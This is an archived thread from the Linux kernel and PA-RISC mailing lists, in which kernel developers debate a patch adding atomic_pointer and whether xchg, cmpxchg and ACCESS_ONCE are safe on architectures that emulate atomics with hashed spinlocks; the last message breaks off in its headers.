X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5843 gmane.linux.kernel:1716385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5843>

On Sun, 2014-06-01 at 23:30 +0200, Peter Zijlstra wrote:
> On Sun, Jun 01, 2014 at 04:46:26PM -0400, John David Anglin wrote:
> > On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> > 
> > >>If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg
> > >>at
> > >>the same time, you break it. ACCESS_ONCE doesn't take the hashed
> > >>spinlock,
> > >>so, in this case, cmpxchg or xchg isn't really atomic at all.
> > >
> > >And this is really the first place in the kernel that breaks like this?
> > >I've been using xchg() and cmpxchg() without such consideration for
> > >quite a while.
> > 
> > I believe Mikulas is correct.  Even in a controlled situation where a
> > cmpxchg operation
> > is used to implement pthread_spin_lock() in userspace, we found recently
> > that the lock
> > must be released with a  cmpxchg operation and not a simple write on SMP
> > systems.
> > There is a race in the cache operations or instruction ordering that's not
> > present with
> > the ldcw instruction.
> 
> Oh, I'm not arguing that. He's quite right that its broken, but this
> form of atomic ops is also quite insane and unusual. Most sane machines
> don't have this problem.
> 
> My main concern is how are we going to avoid breaking parisc (and I
> think sparc32, which is similarly retarded) in the future; we should
> invest in machinery to find and detect these things.

Architecturally, there is a way we could emulate the atomic exchange
instructions.  We could have a special section of memory that always
triggers a page trap.  In the Q state dtlb trap handlers we could
recognise the "atomic" section of memory and wrap the attempted
modification in a semaphore.  This would add a bit of overhead, but not
a huge amount if we do it in the trap handlers like the TMPALIAS
flushes.  This involves a lot of work for us because we have to decode
the instructions in software, recognise the operations and manually
apply the hashed semaphores around them.  If we did it like this, all
we'd need by way of mainline support is that variables treated as
atomically exchangeable should be in a separate section (because it's a
page fault handler effectively, we need them all separated from "normal"
code).  This would probably require some type of variable marker and if
we ever saw a xchg or cmpxchg on a variable without the marker, we could
break the build.

The way we'd implement is the memory region would be read and write
protected, so all loads and stores trap to the dtlb absent handlers.
For a ldX instruction, if it were not followed by a stX to the same
location, we'd simply give it the value.  For stX followed by ldX for
xchg, we'd take the lock, do the exchange and drop the lock and for stX
not preceded by ldX, we'd take the lock, do the store and drop the lock.
To avoid compromising the protected region, we'd actually back it by a
different area of kernel memory where we make the real modifications,
rather than trying to muck with temporarily inserting a TLB entry.  On
return we'd have to nullify the instructions to avoid re-trapping.
Effectively this has us emulating all load and store operations with a
shadow memory region ... if you know the number of possible address
modes for PARISC, you'll realise that's a non-trivial amount of code.
Plus we'd either have to ensure the shadow region had a permanent TLB
entry or do a full fault and exit the TLB handler (we can't take a
nested TLB fault within the TLB fault handler).

Is it worth it ... definitely not if we can just prevent mainline from
using xchg on our architecture.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 22:05:25 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20140602200525.GD13930@laptop.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
 <538CB56E.5010709@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401739560 14960 80.91.229.3 (2 Jun 2014 20:06:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 20:06:00 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Waiman Long <waiman.long@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 22:05:51 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrYUN-00013Y-CY
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 22:05:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752060AbaFBUFr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 16:05:47 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:57081 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752040AbaFBUFq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 16:05:46 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrYU4-0001lG-Dm; Mon, 02 Jun 2014 20:05:28 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id E37DE10038D44; Mon,  2 Jun 2014 22:05:25 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <538CB56E.5010709@hp.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5844 gmane.linux.kernel:1716389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5844>

On Mon, Jun 02, 2014 at 01:33:34PM -0400, Waiman Long wrote:
> On 06/02/2014 12:30 PM, Peter Zijlstra wrote:
> >On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
> >>I'm almost inclined to just exclude parisc from using opt spinning.
> >>
> >>That said, this patch still doesn't address the far more interesting
> >>problem of actually finding these issues for these few weird archs.
> >So why do these archs provide xchg() and cmpxchg() at all? Wouldn't it
> >be much simpler if archs that cannot sanely do this, not provide these
> >primitives at all?
> 
> I believe xchg() and cmpxchg() are used in quite a number of places within
> the generic kernel code. So kernel compilation will fail if those APIs
> aren't provided by an architecture.

Yep.. so this is going to be painful for a while. But given their
(parisc, sparc32, metag-lock1) constraints, who knows how many of those
uses are actually broken.

So the question is, do you prefer subtly broken code or hard compile
fails? Me, I go for the compile fail.

In any case, this all goes towards what hpa said, what are the minimal
requirements we have for running Linux.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 13:22:10 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	<alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	<20140602162525.GH16155@laptop.programming.kicks-ass.net>
	<20140602163032.GI16155@laptop.programming.kicks-ass.net>
	<538CB56E.5010709@hp.com>
	<20140602200525.GD13930@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1401740543 28592 80.91.229.3 (2 Jun 2014 20:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 20:22:23 +0000 (UTC)
Cc: Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 22:22:14 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrYkH-00027g-Pu
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 22:22:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752133AbaFBUWM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 16:22:12 -0400
Original-Received: from mail-ve0-f174.google.com ([209.85.128.174]:61248 "EHLO
	mail-ve0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751642AbaFBUWL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 16:22:11 -0400
Original-Received: by mail-ve0-f174.google.com with SMTP id jw12so5854318veb.33
        for <multiple recipients>; Mon, 02 Jun 2014 13:22:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=NOhvXLTPZHV2B/BW6bs4jaHtg6/MMTCfqSPYw5i5h64=;
        b=v3IFVjFMfOzsOGGJuS8K79/EbfZup7XL5g+NTIbqX19uLz+9zAl12Dngm+s6oVbMOe
         18uOs1LWaPe4g6Lkk7k+pvWKROmwYNsEjI+pAjFaKarVCywPmFjUOPoFuX/bPhi9l6ZV
         OTwZW010zYhzfkQNca6FLUcUS1Yd8aAIJTOOT0AVQ2zNOwwkwJBdNZQP8oy3GjIewtVP
         e3GDXnPIx1pfUu2YB8I0oqoNe8xGqgTOpemRj2SMvluUzHyAeEkrSmlPYy+Qm8W8usDj
         rX+Lsot7AjoO9bPg1QZVp4S3UpR9gnE8YqbAS8jv4P8A5UKd6pxdnPllOzi0XGDrK5iV
         uyAg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=NOhvXLTPZHV2B/BW6bs4jaHtg6/MMTCfqSPYw5i5h64=;
        b=Re6M0PeD++Hh3SgbQ5w5fC05EQyBzTNkVWVw4/wU4LIsxBzOV+yeLTYgwBfL/pgj75
         T2NFuAcwRPxO5EhJpDx5WnpuAKxbWsqVEzsYFXPDXD3zXCcwFD3lphjfR2SEr5+EOIUK
         nvWGtNirsfCjMigqqoIwgFYr9F4Nko4ciNGrY=
X-Received: by 10.52.227.138 with SMTP id sa10mr27123025vdc.25.1401740530507;
 Mon, 02 Jun 2014 13:22:10 -0700 (PDT)
Original-Received: by 10.220.13.16 with HTTP; Mon, 2 Jun 2014 13:22:10 -0700 (PDT)
In-Reply-To: <20140602200525.GD13930@laptop.programming.kicks-ass.net>
X-Google-Sender-Auth: 1saDjUgmCrLlGSNKjIjEgZ29nmc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5845 gmane.linux.kernel:1716397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5845>

On Mon, Jun 2, 2014 at 1:05 PM, Peter Zijlstra <peterz@infradead.org> wrote:
>
> So the question is, do you prefer subtly broken code or hard compile
> fails? Me, I go for the compile fail.

The thing is, parisc has a perfectly fine "cmpxchg" implementation in
practice, and ACCESS_ONCE() and friends work fine too for reading.

What the "use a spinlock" approach cannot generally do is:

 - ACCESS_ONCE() to _write_ things doesn't work well. You really
should use "atomic_set()".

 - you may not necessarily be able to mix partial updates (ie
differently sized updates to the same thing) depending on just how the
spinlock hashing works

but both of those are really rare issues and don't affect normal code.

I would not necessarily be opposed to splitting up ACCESS_ONCE() for
reading and for writing, and maybe we could do something special for
the writing path (which tends to be less ctitical). It's really mixing
"ACCESS_ONCE(x)" to _set_ a value, together with atomic ops to update
it, that ends up being problematic.

Maybe there are other issues I can't think of right now. But
basically, parisc _can_ do cmpxchg, it's just that the code needs to
be somewhat sanitized.

Side note: some of the RCU code uses "ACCESS_ONCE()" for
read-modify-write code, which is just f*cking crazy. The semantics are
dubious, and it generally makes gcc create bad code too.

                 Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 13:24:45 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <1401740685.12939.49.camel@dabdike.int.hansenpartnership.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
	 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
	 <538CB56E.5010709@hp.com>
	 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401740729 31557 80.91.229.3 (2 Jun 2014 20:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 20:25:29 +0000 (UTC)
Cc: Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 22:25:19 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrYnG-0003QJ-VX
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 22:25:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751955AbaFBUZS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 16:25:18 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56146 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751616AbaFBUZR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 16:25:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 63EFA8EE167;
	Mon,  2 Jun 2014 13:25:15 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EKeSPVNvYYEJ; Mon,  2 Jun 2014 13:25:15 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EEE7C8EE0A4;
	Mon,  2 Jun 2014 13:25:04 -0700 (PDT)
In-Reply-To: <20140602200525.GD13930@laptop.programming.kicks-ass.net>
X-Mailer: Evolution 3.12.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5846 gmane.linux.kernel:1716400
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5846>

On Mon, 2014-06-02 at 22:05 +0200, Peter Zijlstra wrote:
> On Mon, Jun 02, 2014 at 01:33:34PM -0400, Waiman Long wrote:
> > On 06/02/2014 12:30 PM, Peter Zijlstra wrote:
> > >On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
> > >>I'm almost inclined to just exclude parisc from using opt spinning.
> > >>
> > >>That said, this patch still doesn't address the far more interesting
> > >>problem of actually finding these issues for these few weird archs.
> > >So why do these archs provide xchg() and cmpxchg() at all? Wouldn't it
> > >be much simpler if archs that cannot sanely do this, not provide these
> > >primitives at all?
> > 
> > I believe xchg() and cmpxchg() are used in quite a number of places within
> > the generic kernel code. So kernel compilation will fail if those APIs
> > aren't provided by an architecture.
> 
> Yep.. so this is going to be painful for a while. But given their
> (parisc, sparc32, metag-lock1) constraints, who knows how many of those
> uses are actually broken.
> 
> So the question is, do you prefer subtly broken code or hard compile
> fails? Me, I go for the compile fail.

The failure is only when a variable that will have an atomic exchange
done on it is updated by a simple operation.  To do this properly, we'd
probably need an update macro we could supply the locking to, and a way
of marking the variable to get the compiler to cause a build error if it
was ever updated improperly, but that's starting to look very similar to
Mikulas' proposal.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 16:46:32 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401742078 15827 80.91.229.3 (2 Jun 2014 20:47:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 20:47:58 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 22:47:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrZ91-0007jh-DI
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 22:47:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752729AbaFBUrq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 16:47:46 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:64147 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752396AbaFBUrp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 16:47:45 -0400
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s52KkdBe006379
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Mon, 2 Jun 2014 16:46:39 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s52Kkc4o007110
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 2 Jun 2014 16:46:39 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s52Kkcmp011566;
	Mon, 2 Jun 2014 16:46:38 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s52KkWv8011561;
	Mon, 2 Jun 2014 16:46:33 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5847 gmane.linux.kernel:1716420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5847>



On Mon, 2 Jun 2014, Linus Torvalds wrote:

> On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> >
> > And I can't say I'm a particular fan of these ops either, as alternative
> > I'm almost inclined to just exclude parisc from using opt spinning.
> 
> Please do.
> 
> There is no way in hell that we should introduce a magic new
> atomic_pointer thing for parisc. And the idea somebody had to change
> ACCESS_ONCE() for PA-RISC (I'm not going to go back to find who to
> blame) is just horribly wrong too, since it's not even necessary for
> any normal use: the special "load-and-store-zero" instruction isn't
> actually used for "real" data, it's used only for the special
> spinlocks afaik, so doing it for all ACCESS_ONCE() users would be
> wrong even on PA-RISC. For any normal data, the usual "just load the
> value, making sure the compiler doesn't reload it" is perfectly fine -
> even on PA-RISC.
> 
> Now, if PA-RISC was a major architecture, we'd have to figure this
> out. But as it is, PA-RISC is just about the shittiest RISC ever
> invented (with original sparc being a strong contender), and let's
> face it, nobody really uses it.  It's a "fun project", but it is not
> something that we should use to mess up either ACCESS_ONCE() or the
> MCS locks.
> 
> Just make PA-RISC use its own locks, not any of the new fancy ones.
> 
>               Linus

And what else do you want to do?

Peter Zijlstra said "I've been using xchg() and cmpxchg() without such 
consideration for quite a while." - so it basically implies that the 
kernel is full of such races, mcs_spinlock is just the most visible one 
that crashes the kernel first.

It's not only parisc - tile32, arc, metag (maybe hexagon) are broken too, 
because they don't have cmpxchg in hardware.

We have atomic_t, atomic64_t, atomic_long_t that can be sanely used even 
on architectures without hardware cmpxchg - so I ask - why can't we have 
atomic_pointer_t with the same semantics? (pointer type conversion issues 
can be solved, as it is done in the PATCH v2)

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 13:53:48 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	<alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	<20140602162525.GH16155@laptop.programming.kicks-ass.net>
	<CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
	<alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1401742440 20160 80.91.229.3 (2 Jun 2014 20:54:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 20:54:00 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 22:53:52 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrZEt-000303-0Y
